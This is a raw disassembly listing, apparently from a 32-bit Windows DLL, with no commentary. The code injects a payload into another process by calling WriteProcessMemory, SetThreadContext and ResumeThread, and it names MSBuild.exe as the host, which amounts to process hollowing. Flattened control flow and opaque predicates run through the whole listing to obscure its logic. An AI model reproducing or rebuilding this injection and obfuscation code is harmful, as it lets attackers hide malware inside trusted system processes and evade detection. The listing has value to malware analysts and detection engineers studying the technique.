add ecx, 0x258951f0
mov eax, dword [ebp - 0xfc]
mov dword [eax + 0xb0], ecx
mov eax, dword [ebp - 0xfc]
mov ecx, dword [ebp - 0x20]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov dword [ebp - 0x154], 0x8d1c7042
jmp 0x100048ae
mov eax, dword [ebp - 0x20]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov dword [ebp - 0x154], 0x44c2fd2e
jmp 0x100048ae
mov dword [ebp - 0x154], 0xc1d5d349
jmp 0x100048ae
mov eax, dword [ebp - 0x24]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x154], 0xfb6172c4
jmp 0x100048ae
mov eax, dword [0x10065338]
mov ecx, dword [0x10065334]
mov edx, eax
sub edx, 0x36e666b4
sub edx, 1
add edx, 0x36e666b4
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7b2b0ba
mov ecx, 0xd5692a88
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100048ae
mov eax, dword [0x10065338]
mov ecx, dword [0x10065334]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7b2b0ba
mov ecx, 0x2aaf3d97
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100048ae
mov eax, dword [0x10065338]
mov ecx, dword [0x10065334]
mov edx, eax
add edx, 0x9d7e945f
sub edx, 1
sub edx, 0x9d7e945f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1444745b
mov ecx, 0x43b73d9e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100048ae
mov dword [ebp - 0x154], 0x9c7d8a5e
jmp 0x100048ae
mov eax, dword [ebp - 0xe4]
cmp dword [eax + 0xd0], 0
setne al
and al, 1
mov byte [ebp - 0x101], al
lea eax, str.C:WindowsMicrosoft.NETFramework_v4.0.30319MSBuild.exe
mov dword [ebp - 0x108], eax
mov dword [ebp - 0x154], 0x10837478
jmp 0x100048ae
mov eax, dword [ebp - 0x100]
mov eax, dword [eax + 0x54]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x6c]
mov esi, dword [ebp - 0x24]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x154], 0x3de7bb93
jmp 0x100048ae
mov dword [ebp - 0x154], 0x717b86e3
jmp 0x100048ae
mov eax, dword [ebp - 0x134]
imul ecx, dword [ebp - 0x144], 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x134]
imul esi, dword [ebp - 0x144], 0x28
add edx, esi
mov esi, dword [edx + 0x14]
xor edx, edx
sub edx, ecx
xor ecx, ecx
sub ecx, esi
add edx, ecx
xor ecx, ecx
sub ecx, edx
mov edx, dword [ebp - 0x6c]
mov esi, dword [ebp - 0x134]
imul edi, dword [ebp - 0x144], 0x28
add esi, edi
mov edi, dword [esi + 0xc]
xor esi, esi
sub esi, edi
sub edx, esi
mov esi, dword [ebp - 0x24]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x154], 0x82ff9afe
jmp 0x100048ae
mov eax, dword [ebp - 0x13c]
add eax, 0xfc2a9eb1
add eax, 8
sub eax, 0xfc2a9eb1
mov dword [ebp - 0x148], eax
mov eax, dword [ebp - 0x13c]
mov eax, dword [eax + 4]
sub eax, 0xb3d48480
sub eax, 8
add eax, 0xb3d48480
shr eax, 1
mov dword [ebp - 0x14c], eax
mov dword [ebp - 0x154], 0xca67d8a3
jmp 0x100048ae
mov eax, dword [ebp - 0x8c]
mov edx, dword [eax]
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp - 0x90]
xor ecx, ecx
sub ecx, edx
add eax, ecx
mov dword [ebp - 0x150], eax
mov eax, dword [ebp - 0xf4]
mov dword [eax], 0
mov dword [ebp - 0x154], 0x1d4b0906
jmp 0x100048ae
mov dword [ebp - 0x154], 0x2718b701
jmp 0x100048ae
mov eax, dword [ebp - 0x20]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x154], 0x170ad195
jmp 0x100048ae
jmp 0x10001f10